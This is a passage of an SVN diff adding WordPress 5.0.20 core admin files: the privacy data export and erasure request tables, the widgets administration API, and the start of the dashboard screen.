+	}
+
+	if ( ! array_key_exists( 'items_removed', $response ) ) {
+		return $response;
+	}
+
+	if ( ! array_key_exists( 'items_retained', $response ) ) {
+		return $response;
+	}
+
+	if ( ! array_key_exists( 'messages', $response ) ) {
+		return $response;
+	}
+
+	$request = wp_get_user_request_data( $request_id );
+
+	if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
+		wp_send_json_error( __( 'Invalid request ID when processing eraser data.' ) );
+	}
+
+	/** This filter is documented in wp-admin/includes/ajax-actions.php */
+	$erasers        = apply_filters( 'wp_privacy_personal_data_erasers', array() );
+	$is_last_eraser = count( $erasers ) === $eraser_index;
+	$eraser_done    = $response['done'];
+
+	if ( ! $is_last_eraser || ! $eraser_done ) {
+		return $response;
+	}
+
+	_wp_privacy_completed_request( $request_id );
+
+	/**
+	 * Fires immediately after a personal data erasure request has been marked completed.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param int $request_id The privacy request post ID associated with this request.
+	 */
+	do_action( 'wp_privacy_personal_data_erased', $request_id );
+
+	return $response;
+}
+
+/**
+ * Add requests pages.
+ *
+ * @since 4.9.6
+ * @access private
+ */
+function _wp_privacy_hook_requests_page() {
+	add_submenu_page( 'tools.php', __( 'Export Personal Data' ), __( 'Export Personal Data' ), 'export_others_personal_data', 'export_personal_data', '_wp_personal_data_export_page' );
+	add_submenu_page( 'tools.php', __( 'Erase Personal Data' ), __( 'Erase Personal Data' ), 'erase_others_personal_data', 'remove_personal_data', '_wp_personal_data_removal_page' );
+}
+
+/**
+ * Add options for the privacy requests screens.
+ *
+ * @since 4.9.8
+ * @access private
+ */
+function _wp_privacy_requests_screen_options() {
+	$args = array(
+		'option'  => str_replace( 'tools_page_', '', get_current_screen()->id ) . '_requests_per_page',
+	);
+	add_screen_option( 'per_page', $args );
+}
+
+// TODO: move the following classes in new files.
+if ( ! class_exists( 'WP_List_Table' ) ) {
+	require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
+}
+
+/**
+ * WP_Privacy_Requests_Table class.
+ *
+ * @since 4.9.6
+ */
+abstract class WP_Privacy_Requests_Table extends WP_List_Table {
+
+	/**
+	 * Action name for the requests this table will work with. Classes
+	 * which inherit from WP_Privacy_Requests_Table should define this.
+	 *
+	 * Example: 'export_personal_data'.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @var string $request_type Name of action.
+	 */
+	protected $request_type = 'INVALID';
+
+	/**
+	 * Post type to be used.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @var string $post_type The post type.
+	 */
+	protected $post_type = 'INVALID';
+
+	/**
+	 * Get columns to show in the list table.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return array Array of columns.
+	 */
+	public function get_columns() {
+		$columns = array(
+			'cb'                => '<input type="checkbox" />',
+			'email'             => __( 'Requester' ),
+			'status'            => __( 'Status' ),
+			'created_timestamp' => __( 'Requested' ),
+			'next_steps'        => __( 'Next Steps' ),
+		);
+		return $columns;
+	}
+
+	/**
+	 * Get a list of sortable columns.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return array Default sortable columns.
+	 */
+	protected function get_sortable_columns() {
+		return array();
+	}
+
+	/**
+	 * Default primary column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return string Default primary column name.
+	 */
+	protected function get_default_primary_column_name() {
+		return 'email';
+	}
+
+	/**
+	 * Count number of requests for each status.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return object Number of posts for each status.
+	 */
+	protected function get_request_counts() {
+		global $wpdb;
+
+		$cache_key = $this->post_type . '-' . $this->request_type;
+		$counts    = wp_cache_get( $cache_key, 'counts' );
+
+		if ( false !== $counts ) {
+			return $counts;
+		}
+
+		$query = "
+			SELECT post_status, COUNT( * ) AS num_posts
+			FROM {$wpdb->posts}
+			WHERE post_type = %s
+			AND post_name = %s
+			GROUP BY post_status";
+
+		$results = (array) $wpdb->get_results( $wpdb->prepare( $query, $this->post_type, $this->request_type ), ARRAY_A );
+		$counts  = array_fill_keys( get_post_stati(), 0 );
+
+		foreach ( $results as $row ) {
+			$counts[ $row['post_status'] ] = $row['num_posts'];
+		}
+
+		$counts = (object) $counts;
+		wp_cache_set( $cache_key, $counts, 'counts' );
+
+		return $counts;
+	}
+
+	/**
+	 * Get an associative array ( id => link ) with the list of views available on this table.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return array Associative array of views in the format of $view_name => $view_markup.
+	 */
+	protected function get_views() {
+		$current_status = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';
+		$statuses       = _wp_privacy_statuses();
+		$views          = array();
+		$admin_url      = admin_url( 'tools.php?page=' . $this->request_type );
+		$counts         = $this->get_request_counts();
+
+		$current_link_attributes = empty( $current_status ) ? ' class="current" aria-current="page"' : '';
+		$views['all']            = '<a href="' . esc_url( $admin_url ) . "\" $current_link_attributes>" . esc_html__( 'All' ) . ' (' . absint( array_sum( (array) $counts ) ) . ')</a>';
+
+		foreach ( $statuses as $status => $label ) {
+			$current_link_attributes = $status === $current_status ? ' class="current" aria-current="page"' : '';
+			$views[ $status ]        = '<a href="' . esc_url( add_query_arg( 'filter-status', $status, $admin_url ) ) . "\" $current_link_attributes>" . esc_html( $label ) . ' (' . absint( $counts->$status ) . ')</a>';
+		}
+
+		return $views;
+	}
+
+	/**
+	 * Get bulk actions.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @return array List of bulk actions.
+	 */
+	protected function get_bulk_actions() {
+		return array(
+			'delete' => __( 'Remove' ),
+			'resend' => __( 'Resend email' ),
+		);
+	}
+
+	/**
+	 * Process bulk actions.
+	 *
+	 * @since 4.9.6
+	 */
+	public function process_bulk_action() {
+		$action      = $this->current_action();
+		$request_ids = isset( $_REQUEST['request_id'] ) ? wp_parse_id_list( wp_unslash( $_REQUEST['request_id'] ) ) : array();
+		
+		$count       = 0;
+
+		if ( $request_ids ) {
+			check_admin_referer( 'bulk-privacy_requests' );
+		}
+
+		switch ( $action ) {
+			case 'delete':
+				foreach ( $request_ids as $request_id ) {
+					if ( wp_delete_post( $request_id, true ) ) {
+						$count ++;
+					}
+				}
+
+				add_settings_error(
+					'bulk_action',
+					'bulk_action',
+					/* translators: %d: number of requests */
+					sprintf( _n( 'Deleted %d request', 'Deleted %d requests', $count ), $count ),
+					'updated'
+				);
+				break;
+			case 'resend':
+				foreach ( $request_ids as $request_id ) {
+					$resend = _wp_privacy_resend_request( $request_id );
+
+					if ( $resend && ! is_wp_error( $resend ) ) {
+						$count++;
+					}
+				}
+
+				add_settings_error(
+					'bulk_action',
+					'bulk_action',
+					/* translators: %d: number of requests */
+					sprintf( _n( 'Re-sent %d request', 'Re-sent %d requests', $count ), $count ),
+					'updated'
+				);
+				break;
+		}
+	}
+
+	/**
+	 * Prepare items to output.
+	 *
+	 * @since 4.9.6
+	 */
+	public function prepare_items() {
+		global $wpdb;
+
+		$primary               = $this->get_primary_column_name();
+		$this->_column_headers = array(
+			$this->get_columns(),
+			array(),
+			$this->get_sortable_columns(),
+			$primary,
+		);
+
+		$this->items    = array();
+		$posts_per_page = $this->get_items_per_page( $this->request_type . '_requests_per_page' );
+		$args           = array(
+			'post_type'      => $this->post_type,
+			'post_name__in'  => array( $this->request_type ),
+			'posts_per_page' => $posts_per_page,
+			'offset'         => isset( $_REQUEST['paged'] ) ? max( 0, absint( $_REQUEST['paged'] ) - 1 ) * $posts_per_page : 0,
+			'post_status'    => 'any',
+			's'              => isset( $_REQUEST['s'] ) ? sanitize_text_field( $_REQUEST['s'] ) : '',
+		);
+
+		if ( ! empty( $_REQUEST['filter-status'] ) ) {
+			$filter_status       = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';
+			$args['post_status'] = $filter_status;
+		}
+
+		$requests_query = new WP_Query( $args );
+		$requests       = $requests_query->posts;
+
+		foreach ( $requests as $request ) {
+			$this->items[] = wp_get_user_request_data( $request->ID );
+		}
+
+		$this->items = array_filter( $this->items );
+
+		$this->set_pagination_args(
+			array(
+				'total_items' => $requests_query->found_posts,
+				'per_page'    => $posts_per_page,
+			)
+		);
+	}
+
+	/**
+	 * Checkbox column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 * @return string Checkbox column markup.
+	 */
+	public function column_cb( $item ) {
+		return sprintf( '<input type="checkbox" name="request_id[]" value="%1$s" /><span class="spinner"></span>', esc_attr( $item->ID ) );
+	}
+
+	/**
+	 * Status column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 * @return string Status column markup.
+	 */
+	public function column_status( $item ) {
+		$status        = get_post_status( $item->ID );
+		$status_object = get_post_status_object( $status );
+
+		if ( ! $status_object || empty( $status_object->label ) ) {
+			return '-';
+		}
+
+		$timestamp = false;
+
+		switch ( $status ) {
+			case 'request-confirmed':
+				$timestamp = $item->confirmed_timestamp;
+				break;
+			case 'request-completed':
+				$timestamp = $item->completed_timestamp;
+				break;
+		}
+
+		echo '<span class="status-label status-' . esc_attr( $status ) . '">';
+		echo esc_html( $status_object->label );
+
+		if ( $timestamp ) {
+			echo ' (' . $this->get_timestamp_as_date( $timestamp ) . ')';
+		}
+
+		echo '</span>';
+	}
+
+	/**
+	 * Convert timestamp for display.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param int $timestamp Event timestamp.
+	 * @return string Human readable date.
+	 */
+	protected function get_timestamp_as_date( $timestamp ) {
+		if ( empty( $timestamp ) ) {
+			return '';
+		}
+
+		$time_diff = current_time( 'timestamp', true ) - $timestamp;
+
+		if ( $time_diff >= 0 && $time_diff < DAY_IN_SECONDS ) {
+			/* translators: human readable timestamp */
+			return sprintf( __( '%s ago' ), human_time_diff( $timestamp ) );
+		}
+
+		return date_i18n( get_option( 'date_format' ), $timestamp );
+	}
+
+	/**
+	 * Default column handler.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item        Item being shown.
+	 * @param string          $column_name Name of column being shown.
+	 * @return string Default column output.
+	 */
+	public function column_default( $item, $column_name ) {
+		$cell_value = $item->$column_name;
+
+		if ( in_array( $column_name, array( 'created_timestamp' ), true ) ) {
+			return $this->get_timestamp_as_date( $cell_value );
+		}
+
+		return $cell_value;
+	}
+
+	/**
+	 * Actions column. Overridden by children.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 * @return string Email column markup.
+	 */
+	public function column_email( $item ) {
+		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( array() ) );
+	}
+
+	/**
+	 * Next steps column. Overridden by children.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 */
+	public function column_next_steps( $item ) {}
+
+	/**
+	 * Generates content for a single row of the table,
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item The current item.
+	 */
+	public function single_row( $item ) {
+		$status = $item->status;
+
+		echo '<tr id="request-' . esc_attr( $item->ID ) . '" class="status-' . esc_attr( $status ) . '">';
+		$this->single_row_columns( $item );
+		echo '</tr>';
+	}
+
+	/**
+	 * Embed scripts used to perform actions. Overridden by children.
+	 *
+	 * @since 4.9.6
+	 */
+	public function embed_scripts() {}
+}
+
+/**
+ * WP_Privacy_Data_Export_Requests_Table class.
+ *
+ * @since 4.9.6
+ */
+class WP_Privacy_Data_Export_Requests_Table extends WP_Privacy_Requests_Table {
+	/**
+	 * Action name for the requests this table will work with.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @var string $request_type Name of action.
+	 */
+	protected $request_type = 'export_personal_data';
+
+	/**
+	 * Post type for the requests.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @var string $post_type The post type.
+	 */
+	protected $post_type = 'user_request';
+
+	/**
+	 * Actions column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 * @return string Email column markup.
+	 */
+	public function column_email( $item ) {
+		/** This filter is documented in wp-admin/includes/ajax-actions.php */
+		$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
+		$exporters_count = count( $exporters );
+		$request_id      = $item->ID;
+		$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );
+
+		$download_data_markup = '<div class="export-personal-data" ' .
+			'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
+			'data-request-id="' . esc_attr( $request_id ) . '" ' .
+			'data-nonce="' . esc_attr( $nonce ) .
+			'">';
+
+		$download_data_markup .= '<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download Personal Data' ) . '</button></span>' .
+			'<span style="display:none" class="export-personal-data-processing" >' . __( 'Downloading Data...' ) . '</span>' .
+			'<span style="display:none" class="export-personal-data-success"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download Personal Data Again' ) . '</button></span>' .
+			'<span style="display:none" class="export-personal-data-failed">' . __( 'Download has failed.' ) . ' <button type="button" class="button-link">' . __( 'Retry' ) . '</button></span>';
+
+		$download_data_markup .= '</div>';
+
+		$row_actions = array(
+			'download-data' => $download_data_markup,
+		);
+
+		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
+	}
+
+	/**
+	 * Displays the next steps column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 */
+	public function column_next_steps( $item ) {
+		$status = $item->status;
+
+		switch ( $status ) {
+			case 'request-pending':
+				esc_html_e( 'Waiting for confirmation' );
+				break;
+			case 'request-confirmed':
+				/** This filter is documented in wp-admin/includes/ajax-actions.php */
+				$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
+				$exporters_count = count( $exporters );
+				$request_id      = $item->ID;
+				$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );
+
+				echo '<div class="export-personal-data" ' .
+					'data-send-as-email="1" ' .
+					'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
+					'data-request-id="' . esc_attr( $request_id ) . '" ' .
+					'data-nonce="' . esc_attr( $nonce ) .
+					'">';
+
+				?>
+				<span class="export-personal-data-idle"><button type="button" class="button export-personal-data-handle"><?php _e( 'Email Data' ); ?></button></span>
+				<span style="display:none" class="export-personal-data-processing button updating-message" ><?php _e( 'Sending Email...' ); ?></span>
+				<span style="display:none" class="export-personal-data-success success-message" ><?php _e( 'Email sent.' ); ?></span>
+				<span style="display:none" class="export-personal-data-failed"><?php _e( 'Email could not be sent.' ); ?> <button type="button" class="button export-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
+				<?php
+
+				echo '</div>';
+				break;
+			case 'request-failed':
+				submit_button( __( 'Retry' ), 'secondary', 'privacy_action_email_retry[' . $item->ID . ']', false );
+				break;
+			case 'request-completed':
+				echo '<a href="' . esc_url( wp_nonce_url( add_query_arg( array(
+					'action'     => 'delete',
+					'request_id' => array( $item->ID ),
+				), admin_url( 'tools.php?page=export_personal_data' ) ), 'bulk-privacy_requests' ) ) . '" class="button">' . esc_html__( 'Remove request' ) . '</a>';
+				break;
+		}
+	}
+}
+
+/**
+ * WP_Privacy_Data_Removal_Requests_Table class.
+ *
+ * @since 4.9.6
+ */
+class WP_Privacy_Data_Removal_Requests_Table extends WP_Privacy_Requests_Table {
+	/**
+	 * Action name for the requests this table will work with.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @var string $request_type Name of action.
+	 */
+	protected $request_type = 'remove_personal_data';
+
+	/**
+	 * Post type for the requests.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @var string $post_type The post type.
+	 */
+	protected $post_type = 'user_request';
+
+	/**
+	 * Actions column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 * @return string Email column markup.
+	 */
+	public function column_email( $item ) {
+		$row_actions = array();
+
+		// Allow the administrator to "force remove" the personal data even if confirmation has not yet been received.
+		$status = $item->status;
+		if ( 'request-confirmed' !== $status ) {
+			/** This filter is documented in wp-admin/includes/ajax-actions.php */
+			$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
+			$erasers_count = count( $erasers );
+			$request_id    = $item->ID;
+			$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );
+
+			$remove_data_markup = '<div class="remove-personal-data force-remove-personal-data" ' .
+				'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
+				'data-request-id="' . esc_attr( $request_id ) . '" ' .
+				'data-nonce="' . esc_attr( $nonce ) .
+				'">';
+
+			$remove_data_markup .= '<span class="remove-personal-data-idle"><button type="button" class="button-link remove-personal-data-handle">' . __( 'Force Erase Personal Data' ) . '</button></span>' .
+				'<span style="display:none" class="remove-personal-data-processing" >' . __( 'Erasing Data...' ) . '</span>' .
+				'<span style="display:none" class="remove-personal-data-failed">' . __( 'Force Erase has failed.' ) . ' <button type="button" class="button-link remove-personal-data-handle">' . __( 'Retry' ) . '</button></span>';
+
+			$remove_data_markup .= '</div>';
+
+			$row_actions = array(
+				'remove-data' => $remove_data_markup,
+			);
+		}
+
+		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
+	}
+
+	/**
+	 * Next steps column.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param WP_User_Request $item Item being shown.
+	 */
+	public function column_next_steps( $item ) {
+		$status = $item->status;
+
+		switch ( $status ) {
+			case 'request-pending':
+				esc_html_e( 'Waiting for confirmation' );
+				break;
+			case 'request-confirmed':
+				/** This filter is documented in wp-admin/includes/ajax-actions.php */
+				$erasers       = apply_filters( 'wp_privacy_personal_data_erasers', array() );
+				$erasers_count = count( $erasers );
+				$request_id    = $item->ID;
+				$nonce         = wp_create_nonce( 'wp-privacy-erase-personal-data-' . $request_id );
+
+				echo '<div class="remove-personal-data" ' .
+					'data-force-erase="1" ' .
+					'data-erasers-count="' . esc_attr( $erasers_count ) . '" ' .
+					'data-request-id="' . esc_attr( $request_id ) . '" ' .
+					'data-nonce="' . esc_attr( $nonce ) .
+					'">';
+
+				?>
+				<span class="remove-personal-data-idle"><button type="button" class="button remove-personal-data-handle"><?php _e( 'Erase Personal Data' ); ?></button></span>
+				<span style="display:none" class="remove-personal-data-processing button updating-message" ><?php _e( 'Erasing Data...' ); ?></span>
+				<span style="display:none" class="remove-personal-data-failed"><?php _e( 'Erasing Data has failed.' ); ?> <button type="button" class="button remove-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
+				<?php
+
+				echo '</div>';
+
+				break;
+			case 'request-failed':
+				submit_button( __( 'Retry' ), 'secondary', 'privacy_action_email_retry[' . $item->ID . ']', false );
+				break;
+			case 'request-completed':
+				echo '<a href="' . esc_url( wp_nonce_url( add_query_arg( array(
+					'action'     => 'delete',
+					'request_id' => array( $item->ID ),
+				), admin_url( 'tools.php?page=remove_personal_data' ) ), 'bulk-privacy_requests' ) ) . '" class="button">' . esc_html__( 'Remove request' ) . '</a>';
+				break;
+		}
+	}
+
+}
Index: /tags/5.0.20/src/wp-admin/includes/widgets.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/widgets.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/widgets.php	(revision 56912)
@@ -0,0 +1,290 @@
+<?php
+/**
+ * WordPress Widgets Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Display list of the available widgets.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_registered_widgets
+ * @global array $wp_registered_widget_controls
+ */
+function wp_list_widgets() {
+	global $wp_registered_widgets, $wp_registered_widget_controls;
+
+	$sort = $wp_registered_widgets;
+	usort( $sort, '_sort_name_callback' );
+	$done = array();
+
+	foreach ( $sort as $widget ) {
+		if ( in_array( $widget['callback'], $done, true ) ) // We already showed this multi-widget
+			continue;
+
+		$sidebar = is_active_widget( $widget['callback'], $widget['id'], false, false );
+		$done[] = $widget['callback'];
+
+		if ( ! isset( $widget['params'][0] ) )
+			$widget['params'][0] = array();
+
+		$args = array( 'widget_id' => $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template' );
+
+		if ( isset($wp_registered_widget_controls[$widget['id']]['id_base']) && isset($widget['params'][0]['number']) ) {
+			$id_base = $wp_registered_widget_controls[$widget['id']]['id_base'];
+			$args['_temp_id'] = "$id_base-__i__";
+			$args['_multi_num'] = next_widget_id_number($id_base);
+			$args['_add'] = 'multi';
+		} else {
+			$args['_add'] = 'single';
+			if ( $sidebar )
+				$args['_hide'] = '1';
+		}
+
+		$args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) );
+		call_user_func_array( 'wp_widget_control', $args );
+	}
+}
+
+/**
+ * Callback to sort array by a 'name' key.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @return int
+ */
+function _sort_name_callback( $a, $b ) {
+	return strnatcasecmp( $a['name'], $b['name'] );
+}
+
+/**
+ * Show the widgets and their settings for a sidebar.
+ * Used in the admin widget config screen.
+ *
+ * @since 2.5.0
+ *
+ * @param string $sidebar      Sidebar ID.
+ * @param string $sidebar_name Optional. Sidebar name. Default empty.
+ */
+function wp_list_widget_controls( $sidebar, $sidebar_name = '' ) {
+	add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' );
+
+	$description = wp_sidebar_description( $sidebar );
+
+	echo '<div id="' . esc_attr( $sidebar ) . '" class="widgets-sortables">';
+
+	if ( $sidebar_name ) {
+		?>
+		<div class="sidebar-name">
+			<button type="button" class="handlediv hide-if-no-js" aria-expanded="true">
+				<span class="screen-reader-text"><?php echo esc_html( $sidebar_name ); ?></span>
+				<span class="toggle-indicator" aria-hidden="true"></span>
+			</button>
+			<h2><?php echo esc_html( $sidebar_name ); ?> <span class="spinner"></span></h2>
+		</div>
+		<?php
+	}
+
+	if ( ! empty( $description ) ) {
+		?>
+		<div class="sidebar-description">
+			<p class="description"><?php echo $description; ?></p>
+		</div>
+		<?php
+	}
+
+	dynamic_sidebar( $sidebar );
+
+	echo '</div>';
+}
+
+/**
+ * Retrieves the widget control arguments.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_registered_widgets
+ *
+ * @staticvar int $i
+ *
+ * @param array $params
+ * @return array
+ */
+function wp_list_widget_controls_dynamic_sidebar( $params ) {
+	global $wp_registered_widgets;
+	static $i = 0;
+	$i++;
+
+	$widget_id = $params[0]['widget_id'];
+	$id = isset($params[0]['_temp_id']) ? $params[0]['_temp_id'] : $widget_id;
+	$hidden = isset($params[0]['_hide']) ? ' style="display:none;"' : '';
+
+	$params[0]['before_widget'] = "<div id='widget-{$i}_{$id}' class='widget'$hidden>";
+	$params[0]['after_widget'] = "</div>";
+	$params[0]['before_title'] = "%BEG_OF_TITLE%"; // deprecated
+	$params[0]['after_title'] = "%END_OF_TITLE%"; // deprecated
+	if ( is_callable( $wp_registered_widgets[$widget_id]['callback'] ) ) {
+		$wp_registered_widgets[$widget_id]['_callback'] = $wp_registered_widgets[$widget_id]['callback'];
+		$wp_registered_widgets[$widget_id]['callback'] = 'wp_widget_control';
+	}
+
+	return $params;
+}
+
+/**
+ *
+ * @global array $wp_registered_widgets
+ *
+ * @param string $id_base
+ * @return int
+ */
+function next_widget_id_number( $id_base ) {
+	global $wp_registered_widgets;
+	$number = 1;
+
+	foreach ( $wp_registered_widgets as $widget_id => $widget ) {
+		if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) )
+			$number = max($number, $matches[1]);
+	}
+	$number++;
+
+	return $number;
+}
+
+/**
+ * Meta widget used to display the control form for a widget.
+ *
+ * Called from dynamic_sidebar().
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_registered_widgets
+ * @global array $wp_registered_widget_controls
+ * @global array $sidebars_widgets
+ *
+ * @param array $sidebar_args
+ * @return array
+ */
+function wp_widget_control( $sidebar_args ) {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets;
+
+	$widget_id = $sidebar_args['widget_id'];
+	$sidebar_id = isset($sidebar_args['id']) ? $sidebar_args['id'] : false;
+	$key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[$sidebar_id] ) : '-1'; // position of widget in sidebar
+	$control = isset($wp_registered_widget_controls[$widget_id]) ? $wp_registered_widget_controls[$widget_id] : array();
+	$widget = $wp_registered_widgets[$widget_id];
+
+	$id_format = $widget['id'];
+	$widget_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : '';
+	$id_base = isset($control['id_base']) ? $control['id_base'] : $widget_id;
+	$multi_number = isset($sidebar_args['_multi_num']) ? $sidebar_args['_multi_num'] : '';
+	$add_new = isset($sidebar_args['_add']) ? $sidebar_args['_add'] : '';
+
+	$before_form = isset( $sidebar_args['before_form'] ) ? $sidebar_args['before_form'] : '<form method="post">';
+	$after_form = isset( $sidebar_args['after_form'] ) ? $sidebar_args['after_form'] : '</form>';
+	$before_widget_content = isset( $sidebar_args['before_widget_content'] ) ? $sidebar_args['before_widget_content'] : '<div class="widget-content">';
+	$after_widget_content = isset( $sidebar_args['after_widget_content'] ) ? $sidebar_args['after_widget_content'] : '</div>';
+
+	$query_arg = array( 'editwidget' => $widget['id'] );
+	if ( $add_new ) {
+		$query_arg['addnew'] = 1;
+		if ( $multi_number ) {
+			$query_arg['num'] = $multi_number;
+			$query_arg['base'] = $id_base;
+		}
+	} else {
+		$query_arg['sidebar'] = $sidebar_id;
+		$query_arg['key'] = $key;
+	}
+
+	/*
+	 * We aren't showing a widget control, we're outputting a template
+	 * for a multi-widget control.
+	 */
+	if ( isset($sidebar_args['_display']) && 'template' == $sidebar_args['_display'] && $widget_number ) {
+		// number == -1 implies a template where id numbers are replaced by a generic '__i__'
+		$control['params'][0]['number'] = -1;
+		// With id_base widget id's are constructed like {$id_base}-{$id_number}.
+		if ( isset($control['id_base']) )
+			$id_format = $control['id_base'] . '-__i__';
+	}
+
+	$wp_registered_widgets[$widget_id]['callback'] = $wp_registered_widgets[$widget_id]['_callback'];
+	unset($wp_registered_widgets[$widget_id]['_callback']);
+
+	$widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) );
+	$has_form = 'noform';
+
+	echo $sidebar_args['before_widget']; ?>
+	<div class="widget-top">
+	<div class="widget-title-action">
+		<button type="button" class="widget-action hide-if-no-js" aria-expanded="false">
+			<span class="screen-reader-text"><?php printf( __( 'Edit widget: %s' ), $widget_title ); ?></span>
+			<span class="toggle-indicator" aria-hidden="true"></span>
+		</button>
+		<a class="widget-control-edit hide-if-js" href="<?php echo esc_url( add_query_arg( $query_arg ) ); ?>">
+			<span class="edit"><?php _ex( 'Edit', 'widget' ); ?></span>
+			<span class="add"><?php _ex( 'Add', 'widget' ); ?></span>
+			<span class="screen-reader-text"><?php echo $widget_title; ?></span>
+		</a>
+	</div>
+	<div class="widget-title"><h3><?php echo $widget_title; ?><span class="in-widget-title"></span></h3></div>
+	</div>
+
+	<div class="widget-inside">
+	<?php echo $before_form; ?>
+	<?php echo $before_widget_content; ?>
+	<?php
+	if ( isset( $control['callback'] ) ) {
+		$has_form = call_user_func_array( $control['callback'], $control['params'] );
+	} else {
+		echo "\t\t<p>" . __('There are no options for this widget.') . "</p>\n";
+	}
+	?>
+	<?php echo $after_widget_content; ?>
+	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($id_format); ?>" />
+	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
+	<input type="hidden" name="widget-width" class="widget-width" value="<?php if (isset( $control['width'] )) echo esc_attr($control['width']); ?>" />
+	<input type="hidden" name="widget-height" class="widget-height" value="<?php if (isset( $control['height'] )) echo esc_attr($control['height']); ?>" />
+	<input type="hidden" name="widget_number" class="widget_number" value="<?php echo esc_attr($widget_number); ?>" />
+	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
+	<input type="hidden" name="add_new" class="add_new" value="<?php echo esc_attr($add_new); ?>" />
+
+	<div class="widget-control-actions">
+		<div class="alignleft">
+			<button type="button" class="button-link button-link-delete widget-control-remove"><?php _e( 'Delete' ); ?></button>
+			<span class="widget-control-close-wrapper">
+				|
+				<button type="button" class="button-link widget-control-close"><?php _e( 'Done' ); ?></button>
+			</span>
+		</div>
+		<div class="alignright<?php if ( 'noform' === $has_form ) echo ' widget-control-noform'; ?>">
+			<?php submit_button( __( 'Save' ), 'primary widget-control-save right', 'savewidget', false, array( 'id' => 'widget-' . esc_attr( $id_format ) . '-savewidget' ) ); ?>
+			<span class="spinner"></span>
+		</div>
+		<br class="clear" />
+	</div>
+	<?php echo $after_form; ?>
+	</div>
+
+	<div class="widget-description">
+<?php echo ( $widget_description = wp_widget_description($widget_id) ) ? "$widget_description\n" : "$widget_title\n"; ?>
+	</div>
+<?php
+	echo $sidebar_args['after_widget'];
+
+	return $sidebar_args;
+}
+
+/**
+ *
+ * @param string $classes
+ * @return string
+ */
+function wp_widgets_access_body_class($classes) {
+	return "$classes widgets_access ";
+}
Index: /tags/5.0.20/src/wp-admin/index.php
===================================================================
--- /tags/5.0.20/src/wp-admin/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/index.php	(revision 56912)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * Dashboard Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+/** Load WordPress dashboard API */
+require_once(ABSPATH . 'wp-admin/includes/dashboard.php');
+
+wp_dashboard_setup();
+
+wp_enqueue_script( 'dashboard' );
+
